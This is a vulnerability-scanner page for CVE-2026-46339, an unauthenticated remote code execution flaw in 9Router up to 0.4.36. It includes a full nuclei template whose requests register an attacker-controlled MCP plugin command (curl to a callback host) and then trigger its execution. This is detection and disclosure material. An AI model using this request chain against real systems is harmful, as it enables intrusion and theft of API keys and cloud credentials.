9Router <= 0.4.36 - Unauthenticated RCE

criticalseverity

10CVSS score

2.8%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

9Router <= 0.4.36 middleware only guards 8 explicitly listed routes, leaving /api/cli-tools/* and /api/mcp/* entirely unauthenticated. An attacker can POST to /api/cli-tools/cowork-settings to register a custom MCP plugin with attacker-controlled command and args stored verbatim into globalThis, then GET /api/mcp/{name}/sse to trigger spawn() with the stored command resulting in unauthenticated remote code execution.

Impact

Full unauthenticated RCE as the 9Router process user, exposing API keys, Claude tokens, AWS credentials, and all stored MCP plugin configuration.

Fix

Upgrade to 9Router 0.4.37 or later.

How to confirm it

Send: GET /api/version
Positive when: status_code == 200 and contains(body, "currentVersion")
Send: POST /api/cli-tools/cowork-settings
Positive when: status_code == 200 and contains(body, "success")
Send: GET /api/mcp/{{plugin_name}}/sse
Positive when: contains(interactsh_protocol, "http")

Run it with nuclei: nuclei -id CVE-2026-46339 -u <target>

The full check

id: CVE-2026-46339

info:
  name: 9Router <= 0.4.36 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
   9Router <= 0.4.36 middleware only guards 8 explicitly listed routes, leaving /api/cli-tools/* and /api/mcp/* entirely unauthenticated. An attacker can POST to /api/cli-tools/cowork-settings to register a custom MCP plugin with attacker-controlled command and args stored verbatim into globalThis, then GET /api/mcp/{name}/sse to trigger spawn() with the stored command resulting in unauthenticated remote code execution.
  impact: |
   Full unauthenticated RCE as the 9Router process user, exposing API keys, Claude tokens, AWS credentials, and all stored MCP plugin configuration.
  remediation: |
   Upgrade to 9Router 0.4.37 or later.
  reference:
    - https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46339
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-46339
    epss-score: 0.02762
    epss-percentile: 0.86398
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 3
    product: 9router
    vendor: decolua
  tags: cve,cve2026,9router,rce,mcp,unauth,critical

variables:
  plugin_name: "{{randstr}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /api/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "currentVersion")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/cli-tools/cowork-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"baseUrl":"x","apiKey":"x","models":["x"],"plugins":[],"localPlugins":[],"customPlugins":[{"name":"{{plugin_name}}","command":"curl","args":["-s","{{interactsh-url}}"]}]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/mcp/{{plugin_name}}/sse HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from